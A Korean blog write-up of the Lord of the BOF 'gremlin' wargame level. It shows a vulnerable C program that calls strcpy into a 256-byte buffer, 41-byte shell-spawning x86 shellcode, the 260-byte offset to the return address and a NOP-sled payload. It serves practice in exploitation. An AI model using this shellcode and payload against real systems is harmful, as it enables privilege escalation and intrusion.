1. int main(int argc, char*argv[])  
  2. {  
  3.     char buffer[256];  
  4.     if(argc < 2){  
  5.         printf("argv error\n");  
  6.         exit(0);  
  7.     }  
  8.     strcpy(buffer, argv[1]);  
  9.     printf("%s\n",buffer);  
  10. }  


gremlin.c가 보여주는 소스코드이다.


strcpy( buffer, argv[1]) ; 에서 오버플로우 취약점이 발생한다.


사용할 쉘코드는 41byte이며 다음과 같다.

"\x31\xc0\xb0\x31\xcd \x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f \x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd \x80"



264byte를 덮어주니 eip가 바뀌면서 Segmentation fault를 내뿜는 모습을 확인할 수 있다.


LOB는 랜덤스택이 적용되지 않는다는 점을 감안하여


buffer(256) + sfp(4) = 260byte 뒤가 바로 ret(eip) 주소일 것이다.



제대로 덮인 것을 확인할 수 있다.


이제 저 스택을 NOP(\x90) 과 쉘코드를 채운 후 리턴주소를 조작하여 쉘을 획득해보자.


"\x90" * 200 + shellcode(41) + "\x90" * 19 + ret주소(적당히 \xe0\xfb\xff\xbf)



hello bof world





'pwnable > LOB' 카테고리의 다른 글

LOB goblin -> orc  (0) 2017.02.07
LOB cobolt -> goblin  (0) 2017.02.07
LOB gremlin -> cobolt  (0) 2017.02.07

+ Recent posts